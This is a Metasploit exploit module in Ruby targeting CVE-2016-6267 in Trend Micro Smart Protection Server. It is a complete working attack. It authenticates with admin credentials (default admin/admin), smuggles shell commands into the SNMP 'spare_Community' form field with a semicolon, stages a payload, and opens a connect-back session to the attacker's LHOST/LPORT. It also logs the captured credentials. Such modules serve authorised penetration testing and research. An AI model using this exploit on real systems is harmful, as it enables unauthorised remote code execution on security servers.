## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'openssl' require 'base64' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, 'Name' => "Trend Micro Smart Protection Server Exec Remote Code Injection", 'Description' => %q{ This module exploits a vulnerability found in TrendMicro Smart Protection Server where untrusted inputs are fed to ServWebExec system command, leading to command injection. Please note: authentication is required to exploit this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'Quentin Kaiser <kaiserquentin[at]gmail.com>' ], 'References' => [ ['CVE-ID', 'CVE-2016-6267'] ], 'Platform' => 'linux', 'Targets' => [ [ 'Linux', {} ] ], 'Payload' => { 'BadChars' => "\x00" }, 'CmdStagerFlavor' => [ 'bourne' ], 'Privileged' => false, 'DefaultOptions' => { 'SSL' => true }, 'DisclosureDate' => "Aug 8 2016", 'DefaultTarget' => 0)) register_options( [ OptBool.new('SSL', [ true, 'Use SSL', true ]), OptString.new('TARGETURI', [true, 'The base path', '/']), OptAddress.new("LHOST", [true, "The local host for the exploits and handlers", Rex::Socket.source_address]), OptPort.new('LPORT', [true, "The port SPS will connect back to ", 4444 ]), OptString.new('ADMINACCOUNT', [true, 'Name of the SPS admin account', 'admin']), OptString.new('ADMINPASS', [true, 'Password of the SPS admin account', 'admin']), ], self.class) end def check opts = login if opts uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, "php/about.php?sid=#{opts['sid']}"), 'headers'=> { 'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}", 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", } }) if res and res.code == 200 version = res.body.to_s.scan(/MSG_ABOUT_VERSION <\/td>[^<]*<td[^>]*>([^<]*)</).last.first.to_f build = res.body.to_s.scan(/MSG_ABOUT_BUILD <\/td>[^<]*<td[^>]*><span[^>]*>([^<]*)</).last.first.to_i(10) print_status("TrendMicro Smart Protection Server detected.") print_status("Version: #{version}") print_status("Build: #{build}") if (version == 3.0 and build < 1330) or (version == 2.6 and build < 2106) or (version == 2.5 and build < 2200) return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end end Exploit::CheckCode::Unknown end def execute_command(cmd, opts = {}) uri = target_uri.path send_request_cgi({ 'method' => 'POST', 'version' => '1.0', 'timeout' => 1, 'uri' => normalize_uri(uri, 'php/admin_notification.php'), 'ctype' => 'application/x-www-form-urlencoded', 'headers'=> { 'Cookie' => "#{opts["sid"]}=#{opts["sid_value"]}", 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", }, 'vars_post' => { 'EnableSNMP' => 'on', 'Community' => 'hello', 'submit' => 'Save', 'pubkey' => '', 'spare_EnableSNMP' => 1, 'spare_Community' => "test;#{cmd}", 'spare_EnableIPRestriction' => 0, 'spare_AllowGroupIP' => '', 'spare_AllowGroupNetmask' => '', 'sid' => opts["sid"] } }) end def login uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php'), }) if res and res.code == 200 and !res.get_cookies.empty? sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first.strip sid_value = res.get_cookies.scan(/#{sid}=([a-z0-9]+);/).last.first n = res.body.to_s.scan(/name="pubkey" value="([^"]*)"/).last.first nonce = res.body.to_s.scan(/name="nonce" value="([^"]*)"/).last.first asn1_sequence = OpenSSL::ASN1::Sequence.new( [ OpenSSL::ASN1::Integer.new("0x#{n}".to_i(16)), OpenSSL::ASN1::Integer.new("0x10001".to_i(16)) ] ) public_key = OpenSSL::PKey::RSA.new(asn1_sequence) creds = "#{datastore['ADMINACCOUNT']}\t#{datastore['ADMINPASS']}\t#{nonce}" data = Base64.encode64(public_key.public_encrypt(creds)) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, "auth.php"), 'ctype' => 'application/x-www-form-urlencoded', 'headers'=> { 'Cookie' => "#{sid}=#{sid_value}", 'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/login.php", 'Origin' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}", }, 'vars_post' => { 'data' => data, 'sid' => sid } }) if res and res.code == 302 if res.headers.key?('Set-Cookie') sid = res.get_cookies.scan(/([^=]*)=[^;]*;/).last.first sid_value = res.get_cookies.scan(/#{sid}=([^;]*);/).last.first end report_cred( ip: datastore['RHOST'], port: datastore['RPORT'], service_name: (ssl ? "https" : "http"), user: datastore['ADMINACCOUNT'], password: datastore['ADMINPASS'], proof: "#{sid}=#{sid_value}" ) return {"sid" => sid, "sid_value" => sid_value} end end nil end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end def exploit opts = login if opts print_status("Successfully logged in.") print_status("Exploiting...") execute_cmdstager(opts=opts) else print_error("An error occured while loggin in.") end end end